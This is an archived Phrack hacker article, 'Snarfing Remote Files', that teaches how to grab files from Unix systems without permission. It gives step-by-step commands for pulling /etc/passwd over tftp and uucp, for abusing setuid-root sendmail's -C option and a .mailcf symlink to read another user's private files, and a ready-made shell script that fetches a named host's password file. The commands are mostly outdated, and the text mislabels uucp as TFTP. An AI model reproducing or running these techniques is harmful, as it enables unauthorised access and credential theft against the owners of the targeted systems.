home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / texts / anarchy_text_a-l / 126.txt < prev    next >
Text File  |  1994-05-22  |  5KB  |  153 lines

  1.  
  2.                                ==Phrack Inc.==
  3.  
  4.                      Volume Three, Issue 28, File #6 of 12
  5.                      +++++++++++++++++++++++++++++++++++++
  6.                      +                                   +
  7.                      +       Snarfing Remote Files       +
  8.                      +                                   +
  9.                      +                by                 +
  10.                      +                                   +
  11.                      +           Dark OverLord           +
  12.                      +                                   +
  13.                      +++++++++++++++++++++++++++++++++++++
  14.  
  15. There are many ways of getting copies of files from a remote system that you
  16. do not have permission to read or an account on login on to and access them
  17. through.  Many administrators do not even bother to restrict many access
  18. points that you can use.
  19.  
  20. Here are the simplest ways:
  21.  
  22.  
  23. A)  Use uucp(1) [Trivial File Transfer Protocol] to retrieve a copy
  24.     of a file if you are running on an Internet based network.
  25.  
  26. B) Abuse uucp(1) [Unix to Unix Copy Program] to retrieve a copy of a file
  27.    if uucp connections are running on that system.
  28.  
  29. C) Access one of many known security loopholes.
  30.  
  31.  
  32. In the following examples, we will use the passwd file as the file to acquire
  33. since it is a readable file that can be found on most systems that these
  34. attacks are valid on.
  35.  
  36. Method A :
  37.  
  38. 1) First start the tftp program:
  39.     Enter the command:
  40.  
  41.  tftp
  42.  
  43.     [You have the following prompt:]
  44.  
  45.  tftp>
  46.  
  47.  
  48. 2) The next step is to connect to the system that you wish to retrieve files
  49.     from.  At the tftp, type:
  50.  
  51.  tftp> connect other.system.com
  52.  
  53.  
  54. 3) Now request the file you wish to get a copy of (in our case, the
  55.     passwd file /etc/passwd ):
  56.  
  57.  tftp> get /etc/passwd /tmp/passwd
  58.  
  59.     [You should see something that looks like the following:]
  60.  
  61.  Received 185659 bytes in 22 seconds.
  62.  
  63. 4) Now exit the tftp program with the "quit" command:
  64.  
  65.  tftp> quit
  66.  
  67. You should now have a copy of other.system.com's passwd file in your directory.
  68.  
  69. NOTE:  Some Unix systems' tftp programs have a different syntax.  The above was
  70.        tested under SunOS 4.0
  71.  
  72. For example, on Apollos, the syntax is:
  73.  
  74.     tftp -{g|g!|p|r|w} <local file> <host> <foreign file> [netascii|image]
  75.  
  76. Thus you must use the command:
  77.  
  78.  tftp -g password_file networked-host /etc/passwd
  79.  
  80. Consult your local "man" pages for more info (or in other words RTFM).
  81.  
  82. At the end of this article, I will include a shell script that will snarf a
  83. password file from a remote host.  To use it type:
  84.  
  85.  gpw system_name
  86.  
  87. Method B :
  88.  
  89. Assuming we are getting the file  /etc/passwd  from the system uusucker, and
  90. our system has a direct uucp connection to that system, it is possible to
  91. request a copy of the file through the uucp links.  The following command will
  92. request that a copy of the passwd file be copied into uucp's home directory
  93. /usr/spool/uucppublic :
  94.  
  95.  uucp -m uusucker!/etc/passwd '>uucp/uusucker_passwd'
  96.  
  97. The flag "-m" means you will be notified by mail when the transfer is
  98. completed.
  99.  
  100. Method C:
  101.  
  102.     The third possible way to access the desired file requires that you have
  103. the login permission to the system.
  104.  
  105. In this case we will utilize a well-known bug in Unix's sendmail daemon.
  106.  
  107. The sendmail program has and option "-C" in which you can specify the
  108. configuration file to use (by default this file is /usr/lib/sendmail.cf or
  109. /etc/sendmail.cf).  It should also be noted that the diagnostics outputted by
  110. sendmail contain the offending lines of text.  Also note that the sendmail
  111. program runs setuid root.
  112.  
  113. The way you can abuse this set of facts (if you have not yet guessed) is by
  114. specifying the file you wish read as the configuration file.  Thus the command:
  115.  
  116.  sendmail -C/usr/accounts/random_joe/private/file
  117.  
  118. Will give you a copy of random joe's private file.
  119.  
  120. Another similar trick is to symlink your .mailcf file to joe's file and mail
  121. someone.  When mail executes sendmail (to send the mail), it will load in your
  122. mailcf and barf out joe's stuff.
  123.  
  124. First, link joe's file to your .mailcf .
  125.  
  126.  ln -s /usr/accounts/random_joe/private/file $HOME/.mailcf
  127.  
  128. Next, send mail to someone.
  129.  
  130.  mail C488869@umcvmb.missouri.edu
  131.  
  132. And have fun.
  133.  
  134. -=-Cut Here=-=-=-Cut Here=-=-=- gpw.sh =-=-=-Cut Here=-=-=-=-Cut Here=-=-=-=-=
  135. :
  136. : gpw copyright(c) Dark Overlord
  137. :
  138. /usr/ucb/tftp $1 << EOF
  139. mode ascii
  140. verbose
  141. trace
  142. get /etc/passwd /tmp/pw.$1
  143. quit
  144. EOF
  145. -=-Cut Here=-=-=-Cut Here=-=-=-Cut Here=-=-=-Cut Here=-=-=-=-Cut Here=-=-=-=-=
  146. _______________________________________________________________________________
  147.  
  148. ** END OF MESSAGE **
  149. #EOI
  150.  
  151. <EOF>   Exodus
  152.  
  153.